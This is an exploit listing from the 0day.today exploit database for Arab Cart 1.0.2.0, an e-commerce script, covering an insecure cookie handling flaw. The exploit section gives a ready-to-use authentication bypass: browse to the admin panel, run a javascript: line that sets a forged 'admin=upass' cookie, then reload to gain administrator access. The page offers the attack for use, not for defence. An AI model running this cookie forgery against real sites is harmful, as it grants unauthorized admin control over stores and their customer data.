[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Arab Cart Version 1.0.2.0 Insecure Cookie Handling Vulnerability

Author
indoushka
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10911
Category
web applications
Date add
15-02-2010
Platform
unsorted
================================================================
Arab Cart Version 1.0.2.0 Insecure Cookie Handling Vulnerability
================================================================

========================================================================================                 
| # Title    : Arab Cart Version 1.0.2.0 Insecure Cookie Handling Vulnerability           
| # Author   : indoushka                               
| # Web Site : http://sourceforge.net/projects/arab-cart/                                                                                                                                  
| # Script   : Copyright ArabCART © .2010    
| # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) + Lunix Fran?ais v.(9.4 Ubuntu)      
| # Bug      : Insecure Cookie Handling Vulnerability   
|                                                                 
======================      Exploit By indoushka       =================================
 # Exploit  :
  
 1- http://127.0.0.1/arabCart/admincp/
  
 2- javascript:document.cookie="admin=upass;path=/";
  
 3- Refrash your pag and go back
  
 tested in IE 6 + Opera 10.10 



#  0day.today [2024-11-15]  #